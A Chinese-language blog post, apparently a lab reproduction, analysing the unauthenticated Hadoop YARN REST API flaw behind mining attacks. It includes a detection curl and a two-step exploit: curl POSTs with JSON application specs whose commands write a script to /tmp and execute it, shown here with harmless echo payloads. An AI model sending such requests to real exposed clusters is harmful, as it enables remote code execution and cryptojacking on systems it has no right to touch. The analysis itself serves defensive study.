Hadoop Yarn REST API未授权漏洞利用挖矿分析

一、背景

5月5日腾讯云安全团队曾针对“攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码”的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。

二、漏洞说明

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

 

检测方法

curl http://node01:8088/ws/v1/cluster

返回类似如下内容则有可能被攻击

Hadoop Yarn REST API未授权漏洞利用挖矿分析

攻击步骤

1、申请新的application

直接通过curl进行POST请求

通过REST API提交任务,向/tmp目录输出接下来要执行的脚本内容

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json

setup.json

{
        "am-container-spec":{
          "commands":{
                "command":"echo 'echo 11 > /tmp/time_1.sh' > /tmp/setup.sh"
          }
        },
        "application-id":"application_1621418758341_0210",
        "application-name":"setup",
        "application-type":"YARN"
}

Hadoop Yarn REST API未授权漏洞利用挖矿分析

在服务器的tmp目录下查看,已经生成该脚本

Hadoop Yarn REST API未授权漏洞利用挖矿分析

再次提交任务,执行该脚本

curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json

exec.json

{
    "am-container-spec":{
      "commands":{
        "command":"sh /tmp/setup.sh"
      }
    },
    "application-id":"application_1621418758341_0211",
    "application-name":"exec",
    "application-type":"YARN"
}

Hadoop Yarn REST API未授权漏洞利用挖矿分析

在服务器上的脚本已经执行并输出指定内容

Hadoop Yarn REST API未授权漏洞利用挖矿分析

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

上一篇:REST


下一篇:DNS